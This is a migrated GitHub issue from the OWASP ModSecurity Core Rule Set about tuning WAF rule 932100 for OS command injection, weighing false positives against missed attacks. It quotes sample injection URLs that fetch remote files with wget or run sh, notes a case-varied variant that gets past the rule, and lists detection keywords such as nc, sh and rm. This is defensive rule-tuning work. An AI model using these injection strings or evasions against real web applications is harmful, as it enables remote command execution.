Improve System Command Injection rule (932100)

_Issue originally created by user lifeforms on date 2016-03-25 17:58:06. Link to original issue: https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/318._

Rule 932100 seems to hit a lot of false positives as well as false negatives. I’ll copy some comments from the mailinglist so we can revisit this as necessary. If I missed or represented some comments please add to this issue.

Summary of problems:

• false positives due to common words, however some words are essential to attack detection
• false negatives due to regexp
• false negatives due to missing commands like passwd

Christian said: This rule is controversial for different reasons than the one in the previous post. It was a simple regex in 2.2.X. For 3.0.0 it has been enriched with a data file.

In a response to my blogpost Chaim conceded the 3.0.0 version is still plagued by a lot of false positives. Obviously so, if you look at the commands. After all, unix commands are close to natural English for a good reason.

Now Franziska (collaborating on the paranoia mode) and I wonder if it would not make sense to split os-commands.data into two or more files. The commands with few false positives would remain in the standard file, commands generating lots of false positives could then be moved into os-commands-paranoia.data and be referenced in a separate rule copying the behaviour of the standard rule.

My reaction: I like the idea of splitting the file. Overall I’m not satisfied with this new rule yet. I think the regexp needs some love too. I agree some of the words in os-commands.data seem rather paranoid. Words like “choice”, “help”, "now” seem of low value and are common in natural text. Also, the large number of Unix-only environments could skip Windows related commands. It’s hard for users to modify these lists as you’d have to hack the CRS, and these huge collections are to maintain anyhow, so I agree we need granularity.

The rule has some regexp magic to prevent false positives, but the balance is not a complete success in my opinion. For instance, the following URLs don’t trigger in CRSv3: http://vuln/?cmd=wget%20http://example.com/blah.txt http://vuln/?cmd=sh%20blah.txt

So it’s not as strong as you would want either to prevent some common RCE. Something like http://vuln/?cmd=Wget%20http://example.com/;%20ecHo does trigger it.

Christian produced some statistics and a possible resolution:

1 : open
1 : replace
1 : set
1 : sort
1 : type
1 : where
2 : cat
2 : now
2 : sed
2 : tree
2 : which
3 : color
3 : git
3 : head
3 : history
3 : net
5 : diff
5 : format
5 : time
6 : echo
9 : ver
11 : choice
11 : share
15 : for
16 : rm
21 : arch
22 : start
22 : top
24 : ren
27 : local
29 : query
32 : nc
40 : dir
41 : sh
42 : su
45 : sc
56 : cmd

So maybe we face 3 groups of commands:

• entries without many FPs -> PL1
• entries with many FPs, but not very dangerous -> PL2 or higher
• entries with many FPs, but very dangerous -> separate regex rule in PL1 which deals with the FPs

Walter addition: I’m also still interested in splitting off the Windows batch commands to a separate rule. We could tag it platform-windows, this will surely cut down on false positives.

[CRS-migration-bot]

User lifeforms commented on date 2016-07-10 10:14:05:

dune73 Cool! This past week was super hectic, but I’m going to work on the rule today. I’ll have a look at the presentation 😃

[CRS-migration-bot]

User lifeforms commented on date 2016-08-02 19:54:34:

Closing this, any further discussion is in #430